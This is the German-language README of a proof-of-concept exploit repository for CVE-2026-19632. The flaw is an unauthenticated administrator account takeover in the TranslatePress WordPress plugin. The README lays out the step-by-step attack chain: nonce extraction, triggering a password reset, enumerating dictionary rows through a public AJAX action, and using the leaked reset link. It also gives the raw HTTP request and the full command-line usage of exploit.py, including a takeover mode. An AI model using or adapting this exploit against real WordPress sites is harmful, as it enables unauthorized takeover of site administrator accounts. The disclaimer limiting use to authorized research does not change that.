
Eintägiger Proof-of-Concept-Exploit für CVE-2026-19632, eine kritische, nicht authentifizierte Kontokompromittierung im TranslatePress-WordPress-Plugin, die die Offenlegung von Passwort-Reset-Links und die Übernahme des Administratorkontos demonstriert.
CVE: CVE-2026-19632 | CVSS: 9.8 (Kritisch)
Nicht authentifizierte Kontolibernahme über das TranslatePress-Plugin für WordPress. Zeit von der CVE-Veröffentlichung bis zum funktionierenden Day-One-PoC: 5 Stunden, 9 Minuten, 40 Sekunden
Bis einschließlich 3.3.1; das Problem wurde in 3.3.2 behoben.
TranslatePress kann ausgehende WordPress-E-Mails übersetzen und deren übersetzte Zeichenfolgen in seiner Datenbank speichern.
TranslatePress speichert außerdem Passwort-Reset-E-Mails mit dem vollständigen Reset-Link einschließlich des geheimen Schlüssels direkt in der Übersetzungstabelle.
Ein nicht authentifizierter Angreifer kann diese Zeilen anschließend über eine öffentliche TranslatePress-AJAX-Aktion abfragen:
Passwort-Reset auslösen
-> Reset-E-Mail wird übersetzt
-> Reset-URL wird im Wörterbuch der Sekundärsprache gespeichert
-> öffentlicher AJAX-Endpunkt gibt die Zeile zurück
-> URL verwenden, um ein neues Administrator-Passwort festzulegen
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
Die Exploit-Kette erfordert:
Wenn WordPress die Reset-E-Mail sendet, wechselt TranslatePress zur bevorzugten Sprache des Empfängers und leitet die E-Mail durch seine Übersetzungspipeline. Die verwundbare Version speichert Zeichenfolgen, die während dieses Prozesses auftreten, einschließlich der Reset-URL.
TranslatePress registriert außerdem trp_get_translations_regular für nicht authentifizierte Besucher. Dessen nonce wird auf einer öffentlichen übersetzten Seite offengelegt, und die Anfrage akzeptiert vom Angreifer ausgewählte Wörterbuch-Zeilen-IDs. Das Aufzählen dieser IDs offenbart die gespeicherte Reset-E-Mail und ihren verwendbaren Reset-Link.
| Schritt | Aktion |
|---|---|
| 1 | /he/cve-lab-seed/ laden und den öffentlichen TranslatePress-AJAX-Nonce extrahieren. |
| 2 | Das WordPress-Formular für verlorene Passwörter für labadmin absenden. |
| 3 | TranslatePress verarbeitet die Reset-E-Mail mit dem Hebräisch-Locale des Administrators. |
| 4 | Wörterbuch-Zeilen über trp_get_translations_regular aufzählen. |
| 5 | Die neueste passende Reset-URL wp-login.php?action=rp extrahieren. |
| 6 | Die URL öffnen und ein neues Passwort absenden. |
| 7 | Eine neue Anmeldung durchführen, die sowohl ein WordPress-Anmelde-Cookie als auch /wp-admin/-Zugriff erfordert. |
Die relevante nicht authentifizierte Anfrage hat diese Form:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
Der Nonce und die nützliche Zeilen-ID sind dynamisch, daher ermittelt exploit.py sie, anstatt sie fest zu codieren.
Minimale Verwendung:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
Die Reset-URL leaken, ohne das Passwort zu ändern:
python .\exploit.py --stop-after leak
Nur die Passwort-Reset-E-Mail auslösen:
python .\exploit.py --stop-after reset
| Parameter | Standard | Zweck |
|---|---|---|
--url | http://127.0.0.1:19632 | WordPress-Basis-URL. |
--username | labadmin | Konto, für das der Reset angefordert wird. |
--language | he_IL | Wörterbuch der Sekundärsprache, das vom PoC abgefragt wird. |
--public-path | /he/cve-lab-seed/ | Öffentliche übersetzte Seite, die zum Abrufen des AJAX-Nonce verwendet wird. |
--new-password | Keiner | Neues Passwort; erforderlich, wenn --stop-after takeover verwendet wird. |
--start-id | 1 | Erste anzufordernde Wörterbuch-Zeilen-ID. |
--max-id | 500 | Letzte anzufordernde Wörterbuch-Zeilen-ID. Erhöhen, wenn keine Reset-URL gefunden wird. |
--batch-size | 100 | Wörterbuch-IDs, die pro AJAX-Aufruf angefordert werden. Gültiger Bereich: 1-500. |
--timeout | 15 | HTTP-Timeout in Sekunden. |
--settle-seconds | 1 | Verzögerung nach dem Anfordern der Reset-E-Mail. |
--stop-after | takeover | Stopp nach reset, leak oder der vollständigen takeover. |
Dieses Projekt ist ausschließlich für autorisierte Sicherheitsforschung, Bildung und Tests in isolierten Laborumgebungen gedacht.
Diese Schwachstelle wurde ursprünglich von momopon1415 entdeckt und offengelegt.
Verwenden Sie diese Software nicht gegen Systeme, Netzwerke oder Daten ohne ausdrückliche Genehmigung des Eigentümers. Sie sind allein dafür verantwortlich, alle geltenden Gesetze einzuhalten und für alle Konsequenzen, die sich aus Ihrer Nutzung dieses Projekts ergeben.
Der Autor, YonLiud, stellt dieses Projekt „wie besehen“ ohne jegliche Gewährleistung zur Verfügung und übernimmt keine Verantwortung für Schäden, Datenverlust, Dienstunterbrechungen, unbefugten Zugriff oder andere Missbrauchsfälle, die durch diese Software oder abgeleitete Werke verursacht werden.
Durch die Nutzung dieses Projekts erkennen Sie diese Bedingungen an und akzeptieren sie.